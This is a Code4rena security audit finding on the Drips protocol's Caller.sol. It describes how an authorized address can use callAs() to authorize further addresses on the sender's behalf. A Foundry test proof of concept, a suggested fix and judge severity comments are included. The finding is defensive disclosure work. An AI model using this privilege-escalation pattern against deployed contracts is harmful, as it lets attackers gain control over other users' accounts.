Platform: Code4rena
Start Date: 25/01/2023
Pot Size: $90,500 USDC
Total HM: 3
Participants: 26
Period: 9 days
Judge: GalloDaSballo
Id: 209
League: ETH
Rank: 6/26
Findings: 2
Award: $1,910.76
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xA5DF
Also found by: 0xbepresent, ladboy233
1787.9402 USDC - $1,787.94
https://github.com/code-423n4/2023-01-drips/blob/9fd776b50f4be23ca038b1d0426e63a69c7a511d/src/Caller.sol#L106 https://github.com/code-423n4/2023-01-drips/blob/9fd776b50f4be23ca038b1d0426e63a69c7a511d/src/Caller.sol#L114 https://github.com/code-423n4/2023-01-drips/blob/9fd776b50f4be23ca038b1d0426e63a69c7a511d/src/Caller.sol#L144 https://github.com/code-423n4/2023-01-drips/blob/9fd776b50f4be23ca038b1d0426e63a69c7a511d/src/Caller.sol#L202
The Caller.sol contract helps to call functions on behalf of other addresses. The sender can authorize an address in order to make calls on behalf the sender.
The issue is that the authorized user can authorize/unauthorize other users from the sender using the callAs() function.
The authorized user assigned by the sender can manage the sender authorized users list
.
The authorize/unauthorize actions should be reserved only by the original sender otherwise the malicious authorized user can manage the list at his convenience.
I created a basic PoC in Caller.t.sol
. Test steps:
function testAuthorizeViaCallAs() public { // Authorize another address via callAs // 1. Authorize the address(122) for the sender. // 2. As the address(122) call callAs() function with authorize selector // and add address(1337) to the sender authorized user list. // 3. The sender allAuthorized() list now have address(122) and address(1337) address[] memory allAuthorized; // // 1. Authorize the address(122) for the sender. // authorize(sender, address(122));//sender authorize address(122) allAuthorized = new address[](1); allAuthorized[0] = address(122); assertEq(caller.allAuthorized(sender), allAuthorized, "Invalid all authorized"); // // 2. As the address(122) call callAs() function with authorize selector // and add address(1337) to the sender authorized user list. // address anotherAddress = address(1337); bytes memory data = abi.encodeWithSelector(caller.authorize.selector, anotherAddress); vm.prank(address(122)); bytes memory returned = caller.callAs{value: 0}(sender, address(caller), data); // 3. The sender allAuthorized() list now have address(122) and address(1337) allAuthorized = new address[](2); allAuthorized[0] = address(122); allAuthorized[1] = address(1337);// <-- this new address is authorized by the address(122) assertEq(caller.allAuthorized(sender), allAuthorized, "Invalid all authorized"); }
Foundry/Vscode
Add a restriction to not modify the sender authorized user list by the authorized user
. It could be in the _callAs()
function.
#0 - c4-judge
2023-02-09T11:26:32Z
GalloDaSballo marked the issue as duplicate of #163
#1 - GalloDaSballo
2023-02-09T11:26:49Z
I like the specificity of this report, but I have to give 163 primary because it also shows additional ways in which to realistically attack
#2 - GalloDaSballo
2023-02-26T18:56:45Z
For similar discussion to #34, due to lack of front-run am awarding 25%
#3 - c4-judge
2023-02-26T18:56:48Z
GalloDaSballo marked the issue as partial-25
#4 - c4-judge
2023-03-02T08:36:39Z
GalloDaSballo marked the issue as partial-50
#5 - GalloDaSballo
2023-03-02T08:36:59Z
50% due to risk of authorization